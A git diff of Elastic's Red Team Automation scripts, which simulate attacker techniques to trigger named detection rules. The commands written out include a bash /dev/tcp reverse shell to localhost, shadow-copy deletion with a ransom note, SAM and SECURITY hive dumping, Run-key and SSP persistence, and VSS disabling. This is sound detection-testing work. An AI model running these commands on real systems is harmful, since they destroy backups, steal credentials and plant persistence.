a/rta/privilege_escalation_remote_thread.py b/rta/privilege_escalation_remote_thread.py new file mode 100644 index 000000000..c24592ea0 --- /dev/null +++ b/rta/privilege_escalation_remote_thread.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import os +import platform + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="e1ff47b2-af5d-4cfc-bd94-e0b86828b241", + platforms=["macos"], + endpoint=[ + {"rule_name": "Potential Code Injection via Remote Thread", "rule_id": "458f0b4b-be9a-45bc-8f19-a26dac267250"} + ], + siem=[], + techniques=["T1055"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + if platform.processor() == "arm": + name = "thread_injector_arm" + sleep_name = "com.apple.sleep_arm" + else: + name = "thread_injector_intel" + sleep_name = "com.apple.sleep_intel" + sleep_path = common.get_path("bin", sleep_name) + os.system(f"{sleep_path} 5000 &") + + path = common.get_path("bin", name) + os.system(f"{path} `pgrep {sleep_name}`") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/privilege_escalation_tcc_bypass.py b/rta/privilege_escalation_tcc_bypass.py new file mode 100644 index 000000000..323dea346 --- /dev/null +++ b/rta/privilege_escalation_tcc_bypass.py @@ -0,0 +1,32 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="e45cd941-dee1-4275-8c63-2f8cab2cf8a6", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Potential Privilege Escalation via TCC bypass with fake TCC.db", + "rule_id": "8446b30d-a9c4-4646-8261-979c06edd0ff", + } + ], + siem=[], + techniques=["T1068"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing deletion on /tmp/TCC.db file.") + common.temporary_file_helper("testing", file_name="/tmp/TCC.db") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/process_double_extension.py b/rta/process_double_extension.py index 22c7727a1..6f67aefea 100644 --- a/rta/process_double_extension.py +++ b/rta/process_double_extension.py @@ -9,16 +9,30 @@ # Description: Create and run a process with a double extension. from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="27694576-0454-40b3-9823-e29719c53750", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "8b2b3a62-a598-4293-bc14-3d5fa22bb98f", + "rule_name": "Executable File Creation with Multiple Extensions", + } + ], + techniques=["T1204", "T1036"], +) + MY_APP = common.get_path("bin", "myapp_x64.exe") -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(MY_APP) def main(): - anomalies = [ - "test.txt.exe" - ] + anomalies = ["test.txt.exe"] for path in anomalies: common.log("Masquerading process as %s" % path) diff --git a/rta/process_extension_anomalies.py b/rta/process_extension_anomalies.py index 5618df1d8..dcf8d03dc 100644 --- a/rta/process_extension_anomalies.py +++ b/rta/process_extension_anomalies.py @@ -9,11 +9,16 @@ # Description: Creates processes with anomalous extensions from . import common +from . import RtaMetadata + + +metadata = RtaMetadata(uuid="c7d9d63d-09ff-40e9-b990-4c273281d6a0", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + MY_APP = common.get_path("bin", "myapp.exe") -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(MY_APP) def main(): anomalies = [ @@ -23,7 +28,7 @@ def main(): "bad.pdf", "suspicious.bat", "hiding.vbs", - "evil.xlsx" + "evil.xlsx", ] for path in anomalies: diff --git a/rta/process_name_masquerade.py b/rta/process_name_masquerade.py index 2cfd65039..dc4e8cdef 100644 --- a/rta/process_name_masquerade.py +++ b/rta/process_name_masquerade.py @@ -3,35 +3,34 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -# Name: Windows Core Process Masquerade -# RTA: process_name_masquerade.py -# signal.rule.name: Unusual Parent-Child Relationship -# ATT&CK: T1036 -# Description: Creates several processes which mimic core Windows process names but that are not those executables. - import os from . import common - -MY_APP = common.get_path("bin", "myapp.exe") +from . import RtaMetadata -@common.requires_os(common.WINDOWS) -@common.dependencies(MY_APP) +metadata = RtaMetadata( + uuid="98adf0ff-2d8e-4eea-8d68-42084204bb74", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "Potential Masquerading as SVCHOST", "rule_id": "5b00c9ba-9546-47cc-8f9f-1c1a3e95f65c"}, + {"rule_name": "Execution via Renamed Signed Binary Proxy", "rule_id": "b0207677-5041-470b-981d-13ab956cf5b4"}, + ], + siem=[], + techniques=["T1218", "T1036"], +) + +CMD_PATH = "c:\\windows\\system32\\cmd.exe" + + +@common.requires_os(metadata.platforms) def main(): - masquerades = [ - "svchost.exe", - "lsass.exe", - "services.exe", - "csrss.exe", - "smss.exe", - "wininit.exe", - "explorer.exe", - ] + masquerades = ["svchost.exe", "lsass.exe"] for name in masquerades: path = os.path.abspath(name) - common.copy_file(MY_APP, path) + common.copy_file(CMD_PATH, path) common.execute(path, timeout=3, kill=True) common.remove_file(path) diff --git a/rta/ransomnote_delete_shadows.py b/rta/ransomnote_delete_shadows.py new file mode 100644 index 000000000..709eb6368 --- /dev/null +++ b/rta/ransomnote_delete_shadows.py @@ -0,0 +1,32 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="2ab87570-d9ad-40f4-9f52-d5a2942e11ac", + platforms=["windows"], + endpoint=[{"rule_name": "Potential Ransomware Note File", "rule_id": "5dba1130-72df-46f1-b581-18d9c866cb23"}], + siem=[], + techniques=["T1485"], +) + + +@common.requires_os(metadata.platforms) +def main(): + vssadmin = "C:\\Windows\\System32\\vssadmin.exe" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + + # Execute command + common.log("Deleting Shadow Copies and writing ransom note") + common.execute([vssadmin, "delete", "shadows", "/For=C:"], timeout=10) + + common.execute([powershell, "/c", "echo 'Ooops! All your' > readme.txt"], timeout=10) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/recycle_bin_process.py b/rta/recycle_bin_process.py index 656f13a2b..9c3837ff1 100644 --- a/rta/recycle_bin_process.py +++ b/rta/recycle_bin_process.py @@ -12,12 +12,28 @@ import os import time from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="790cbe6f-ee44-4654-9998-039236dbe0d8", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "cff92c41-2225-4763-b4ce-6f71e5bda5e6", + "rule_name": "Execution from Unusual Directory - Command Line", + } + ], + techniques=["T1036", "T1059"], +) + RECYCLE_PATHS = ["C:\\$Recycle.Bin", "C:\\Recycler"] TARGET_APP = common.get_path("bin", "myapp.exe") -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(TARGET_APP, common.CMD_PATH) def main(): common.log("Execute files from the Recycle Bin") diff --git a/rta/reg_creation_servicedll.py b/rta/reg_creation_servicedll.py new file mode 100644 index 000000000..2f7599644 --- /dev/null +++ b/rta/reg_creation_servicedll.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="58b3052d-4242-4b41-9f28-b04ce5962761", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Windows Service DLL Creation", "rule_id": "2c624716-75a1-42d9-bcb8-1defcb9bded9"} + ], + siem=[], + techniques=["T1543"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log("Temporarily creating a Service DLL reg key...") + + key = "Software" + value = "ServiceDLL" + data = "ServiceDLL" + + with common.temporary_reg(common.HKCU, key, value, data): + pass + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/reg_mod_netwire.py b/rta/reg_mod_netwire.py new file mode 100644 index 000000000..ba99703b3 --- /dev/null +++ b/rta/reg_mod_netwire.py @@ -0,0 +1,32 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="2bb1f4df-dc38-45a6-a0f4-54660c93a652", + platforms=["windows"], + endpoint=[{"rule_name": "NetWire RAT Registry Modification", "rule_id": "102f340f-1839-4bad-8493-824cc02c4e69"}], + siem=[], + techniques=["T1112"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log("Temporarily creating a Netwire RAT-like reg key...") + + key = "SOFTWARE\\Netwire" + value = "HostId" + data = "Test" + + with common.temporary_reg(common.HKCU, key, value, data): + pass + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/reg_mod_nullsessionpipes.py b/rta/reg_mod_nullsessionpipes.py new file mode 100644 index 000000000..d27bda99c --- /dev/null +++ b/rta/reg_mod_nullsessionpipes.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="a6263f00-58b4-4555-b88f-9d66a7395891", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Suspicious NullSessionPipe Registry Modification", + "rule_id": "11d374d8-2dad-4d9b-83a2-ee908eac8269", + } + ], + siem=[], + techniques=["T1021", "T1112"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log("Modifying NullSessionPipes reg key...") + + key = "SYSTEM\\CurrentControlSet\\services\\LanmanServer\\Parameters" + value = "NullSessionPipes" + data = "RpcServices" + + with common.temporary_reg(common.HKLM, key, value, data): + pass + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/reg_mod_plugx.py b/rta/reg_mod_plugx.py new file mode 100644 index 000000000..4ff4f27f7 --- /dev/null +++ b/rta/reg_mod_plugx.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="31fdd029-5fac-474f-9201-3b7bfb60e0cf", + platforms=["windows"], + endpoint=[ + {"rule_name": "Potential PlugX Registry Modification", "rule_id": "7a201712-9f3c-4f40-b4fc-2418a44b8ecb"} + ], + siem=[], + techniques=["T1547", "T1112", "T1219"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log("Temporarily creating a PlugX-like reg key...") + + key = "SOFTWARE\\CLASSES\\ms-pu\\PROXY" + value = "Test" + data = "Test" + + with common.temporary_reg(common.HKLM, key, value, data): + pass + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/reg_mod_remcos.py b/rta/reg_mod_remcos.py new file mode 100644 index 000000000..686d0cfde --- /dev/null +++ b/rta/reg_mod_remcos.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="0e5a4099-f76d-43f8-aa91-0ed1ad5fed81", + platforms=["windows"], + endpoint=[ + {"rule_name": "Remcos RAT Registry or File Modification", "rule_id": "9769d372-4115-4ef8-8d7b-aaad05dad9ae"} + ], + siem=[], + techniques=["T1112"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log("Temporarily creating a Remcos RAT alike reg key...") + + key = "SOFTWARE\\Remcos-rta" + value = "licence" + data = "RAT" + + with common.temporary_reg(common.HKCU, key, value, data): + pass + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/reg_mod_run_key_unusual_proc.py b/rta/reg_mod_run_key_unusual_proc.py new file mode 100644 index 000000000..5ab1736eb --- /dev/null +++ b/rta/reg_mod_run_key_unusual_proc.py @@ -0,0 +1,49 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="a3461218-f6c2-4178-ad85-f25b8df2d2e1", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Registry Run Key Modified by Unusual Process", + "rule_id": "b2fcbb09-d9bd-4f6c-a08e-247548b4edcd", + }, + { + "rule_name": "Suspicious String Value Written to Registry Run Key", + "rule_id": "727db78e-e1dd-4bc0-89b0-885cd99e069e", + }, + ], + siem=[], + techniques=["T1547"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + posh = "C:\\Windows\\posh.exe" + common.copy_file(EXE_FILE, posh) + + cmd = ( + "New-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' " + "-Name Test -PropertyType String -value rundll32" + ) + rem_cmd = "Remove-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name Test" + + # Execute command + common.log("Fake ms word reg mod...") + common.execute([posh, "/c", cmd], timeout=10) + common.execute([posh, "/c", rem_cmd], timeout=10) + common.remove_file(posh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/reg_mod_windir.py b/rta/reg_mod_windir.py new file mode 100644 index 000000000..dac4f5425 --- /dev/null +++ b/rta/reg_mod_windir.py @@ -0,0 +1,35 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="38cea037-c1a8-4749-a434-ba4c7d6e91f8", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Privilege Escalation via Windir or SystemRoot Environment Variable", + "rule_id": "18ffee0c-5f40-4dd8-aa9a-28251a308dbc", + } + ], + siem=[], + techniques=["T1574"], +) + + +@common.requires_os(metadata.platforms) +def main(): + key = "System\\Environment" + value = "windir" + data = "rta" + + with common.temporary_reg(common.HKCU, key, value, data): + pass + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/reg_run_key_asterisk.py b/rta/reg_run_key_asterisk.py new file mode 100644 index 000000000..4d3756836 --- /dev/null +++ b/rta/reg_run_key_asterisk.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="13fbcfdc-ba84-414b-aaa6-49b416806c8e", + platforms=["windows"], + endpoint=[ + {"rule_name": "Registry Run Key Prefixed with Asterisk", "rule_id": "94d35931-5c48-49ed-8c18-d601c4f8aeaa"} + ], + siem=[], + techniques=["T1547"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log("Writing registry key") + + key = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" + value = "*test" + data = "test" + + with common.temporary_reg(common.HKLM, key, value, data): + pass + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/reg_vss_service_disable.py b/rta/reg_vss_service_disable.py new file mode 100644 index 000000000..e87dd3c87 --- /dev/null +++ b/rta/reg_vss_service_disable.py @@ -0,0 +1,53 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="c4eefb59-2c59-4904-a04e-5e3a75f54a46", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Shadow Copy Service Disabled via Registry Modification", + "rule_id": "b2409cd4-3b23-4b2d-82e4-bbb25594999a", + }, + { + "rule_name": "VSS Service Disabled Followed by a Suspicious File Rename", + "rule_id": "d6cde651-adc9-4074-b167-65e6b82116b4", + }, + { + "rule_name": "Suspicious File Rename by an Unusual Process", + "rule_id": "df874d7e-6639-44ce-b47d-96254022ccd5", + }, + ], + siem=[], + techniques=["T1218", "T1112", "T1486", "T1490", "T1059"], +) + +HIGHENTROPY = common.get_path("bin", "highentropy.txt") + + +@common.requires_os(metadata.platforms) +def main(): + key = "SYSTEM\\CurrentControlSet\\Services\\VSS" + value = "Start" + data = 4 + + with common.temporary_reg(common.HKLM, key, value, data, data_type="dword"): + pass + + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + jpg = "C:\\Users\\Public\\jpg.jpg" + jpgenc = "C:\\Users\\Public\\jpg.enc" + # Creating a high entropy file, and executing the rename operation + common.copy_file(HIGHENTROPY, jpg) + common.execute([powershell, "/c", f"Rename-Item {jpg} {jpgenc}"], timeout=10) + common.execute([powershell, "/c", "Remove-Item 'C:\\Users\\Public\\*jpg*' -Force"], timeout=10) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/registry_hive_export.py b/rta/registry_hive_export.py index 2a8505b62..5ba09b263 100644 --- a/rta/registry_hive_export.py +++ b/rta/registry_hive_export.py @@ -11,11 +11,27 @@ import os from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="dfdcc4f4-5aca-486a-8115-b15b653b9b4f", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "a7e7bfa3-088e-4f13-b29e-3986e0e756b8", + "rule_name": "Credential Acquisition via Registry Hive Dumping", + } + ], + techniques=["T1003"], +) + REG = "reg.exe" -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) def main(): for hive in ["sam", "security", "system"]: filename = os.path.abspath("%s.reg" % hive) diff --git a/rta/registry_persistence_create.py b/rta/registry_persistence_create.py index 96a6e967b..c22a7fde6 100644 --- a/rta/registry_persistence_create.py +++ b/rta/registry_persistence_create.py @@ -14,6 +14,22 @@ import time from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="c62c65bf-248e-4f5a-ad4f-a48736c1d6f2", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "7405ddf1-6c8e-41ce-818f-48bea6bcaed8", + "rule_name": "Potential Modification of Accessibility Binaries", + } + ], + techniques=["T1546"], +) + TARGET_APP = common.get_path("bin", "myapp.exe") @@ -22,15 +38,25 @@ def pause(): time.sleep(0.5) -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(TARGET_APP) def main(): common.log("Suspicious Registry Persistence") winreg = common.get_winreg() for hive in (common.HKLM, common.HKCU): - common.write_reg(hive, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\", "RunOnceTest", TARGET_APP) - common.write_reg(hive, "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", "RunTest", TARGET_APP) + common.write_reg( + hive, + "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\", + "RunOnceTest", + TARGET_APP, + ) + common.write_reg( + hive, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", + "RunTest", + TARGET_APP, + ) # create Services subkey for "ServiceTest" common.log("Creating ServiceTest registry key") @@ -70,8 +96,14 @@ def main(): common.write_reg(common.HKLM, appcertdlls_key, "evil", "evil.dll", restore=True, pause=True) debugger_targets = [ - "normalprogram.exe", "sethc.exe", "utilman.exe", "magnify.exe", - "narrator.exe", "osk.exe", "displayswitch.exe", "atbroker.exe" + "normalprogram.exe", + "sethc.exe", + "utilman.exe", + "magnify.exe", + "narrator.exe", + "osk.exe", + "displayswitch.exe", + "atbroker.exe", ] for victim in debugger_targets: @@ -87,7 +119,15 @@ def main(): # modify the list of SSPs common.log("Adding a new SSP to the list of security packages") key = "System\\CurrentControlSet\\Control\\Lsa" - common.write_reg(common.HKLM, key, "Security Packages", ["evilSSP"], common.MULTI_SZ, append=True, pause=True) + common.write_reg( + common.HKLM, + key, + "Security Packages", + ["evilSSP"], + common.MULTI_SZ, + append=True, + pause=True, + ) hkey.Close() pause() diff --git a/rta/registry_rdp_enable.py b/rta/registry_rdp_enable.py index 5731e0d87..9eabe11b2 100644 --- a/rta/registry_rdp_enable.py +++ b/rta/registry_rdp_enable.py @@ -10,9 +10,24 @@ # Description: Identifies registry write modification to enable RDP access. from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="1ef2a173-a9c8-446d-9d56-f7e54a197a33", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "7405ddf1-6c8e-41ce-818f-48bea6bcaed8", + "rule_name": "Potential Modification of Accessibility Binaries", + } + ], + techniques=["T1546"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Enabling RDP Through Registry") diff --git a/rta/regsvr32_scrobj.py b/rta/regsvr32_scrobj.py index ba1e035cf..9c00bdc6a 100644 --- a/rta/regsvr32_scrobj.py +++ b/rta/regsvr32_scrobj.py @@ -3,29 +3,33 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -# Name: RegSvr32 Backdoor with .sct Files -# RTA: regsvr32_scrobj.py -# ATT&CK: T1121, T1117, T1064 -# Description: Loads a .sct network callback with RegSvr32 - from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) -@common.dependencies(common.get_path("bin", "notepad.sct")) +metadata = RtaMetadata( + uuid="469c7bb5-44e2-4a85-b14d-5aee4f2b18c1", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Regsvr32 Scriptlet Execution", "rule_id": "0524c24c-e45e-4220-b21a-abdba0c46c4d"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "Regsvr32 with Unusual Arguments", "rule_id": "5db08297-bf72-49f4-b426-f405c2b01326"}, + ], + siem=[], + techniques=["T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) def main(): - common.log("RegSvr32 with .sct backdoor") - server, ip, port = common.serve_web() - common.clear_web_cache() + regsvr32 = "C:\\Users\\Public\\regsvr32.exe" + common.copy_file(EXE_FILE, regsvr32) - uri = 'bin/notepad.sct' - url = 'http://%s:%d/%s' % (ip, port, uri) - - common.execute(["regsvr32.exe", "/u", "/n", "/s", "/i:%s" % url, "scrobj.dll"]) - common.log("Killing all notepads to cleanup", "-") - common.execute(["taskkill", "/f", "/im", "notepad.exe"]) - - server.shutdown() + common.execute([regsvr32, "/c", "echo", "scrobj.exe /i:"], timeout=10) + common.remove_files(regsvr32) if __name__ == "__main__": diff --git a/rta/regsvr32_unusual_args.py b/rta/regsvr32_unusual_args.py new file mode 100644 index 000000000..369f55872 --- /dev/null +++ b/rta/regsvr32_unusual_args.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="469d383a-d03f-470a-bcba-15da9dd373ed", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "Regsvr32 with Unusual Arguments", "rule_id": "5db08297-bf72-49f4-b426-f405c2b01326"}, + ], + siem=[], + techniques=["T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed.exe") + + +@common.requires_os(metadata.platforms) +def main(): + binary = "regsvr32.exe" + common.copy_file(EXE_FILE, binary) + + # Execute Command + common.execute([binary, "cd", "C:\\Users\\Public\\"], timeout=10, kill=True) + + common.remove_file(binary) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/renamed_autoit.py b/rta/renamed_autoit.py new file mode 100644 index 000000000..0e06420f4 --- /dev/null +++ b/rta/renamed_autoit.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="43636c0c-162b-4445-bcd0-348cbd203fa3", + platforms=["windows"], + endpoint=[{"rule_name": "Renamed AutoIt Scripts Interpreter", "rule_id": "99f2327e-871f-4b8a-ae75-d1c4697aefe4"}], + siem=[], + techniques=["T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + autoit = "C:\\Users\\Public\\rta.exe" + rcedit = "C:\\Users\\Public\\rcedit.exe" + + common.copy_file(RENAMER, rcedit) + common.copy_file(EXE_FILE, autoit) + + # Execute command + common.log("Modifying the OriginalFileName attribute") + common.execute( + [rcedit, autoit, "--set-version-string", "OriginalFileName", "autoitrta.exe"], + timeout=10, + ) + common.execute([autoit], timeout=5, kill=True) + + common.remove_files(autoit, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/renamed_automaton_interpreter.py b/rta/renamed_automaton_interpreter.py new file mode 100644 index 000000000..8c2a4b9b9 --- /dev/null +++ b/rta/renamed_automaton_interpreter.py @@ -0,0 +1,49 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="8c128a2b-fa7b-4bfc-9ec9-934395460420", + platforms=["windows"], + endpoint=[ + {"rule_name": "Renamed Windows Automaton Script Interpreter", "rule_id": "92d720dd-93b2-49e0-b68a-d5d6acbe4910"} + ], + siem=[], + techniques=["T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + autohotkey = "C:\\Users\\Public\\notaut0hotkey.exe" + rcedit = "C:\\Users\\Public\\rcedit.exe" + common.copy_file(EXE_FILE, autohotkey) + common.copy_file(RENAMER, rcedit) + + # Execute command + common.log("Modifying the OriginalFileName attribute") + common.execute( + [ + rcedit, + autohotkey, + "--set-version-string", + "OriginalFilename", + "AutoHotkey.exe", + ] + ) + + common.execute([autohotkey], timeout=10, kill=True) + + common.remove_files(autohotkey, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/reverse_shell.py b/rta/reverse_shell.py new file mode 100644 index 000000000..d02502663 --- /dev/null +++ b/rta/reverse_shell.py @@ -0,0 +1,32 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="83b04be5-ed0f-4efd-a7fd-d5db2b8ab62f", + platforms=["macos", "linux"], + endpoint=[ + { + "rule_name": "Potential Reverse Shell Activity via Terminal", + "rule_id": "d0e45f6c-1f83-4d97-a8d9-c8f9eb61c15c", + } + ], + siem=[], + techniques=["T1071", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing command to simulate reverse shell execution") + common.execute(['bash -c "bash -i >/dev/tcp/127.0.0.1/4444" 0>&1'], shell=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/root_cert_install.py b/rta/root_cert_install.py new file mode 100644 index 000000000..659eb0d0c --- /dev/null +++ b/rta/root_cert_install.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="633313a4-dbe5-420f-b4ae-90c481a7f881", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Attempt to Install Root Certificate", "rule_id": "bc1eeacf-2972-434f-b782-3a532b100d67"}], + techniques=["T1553"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/security" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Executing fake security commands to add a root cert.") + common.execute([masquerade, "add-trusted-cert"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/root_crontab_file_modification.py b/rta/root_crontab_file_modification.py new file mode 100644 index 000000000..39a086b4b --- /dev/null +++ b/rta/root_crontab_file_modification.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + 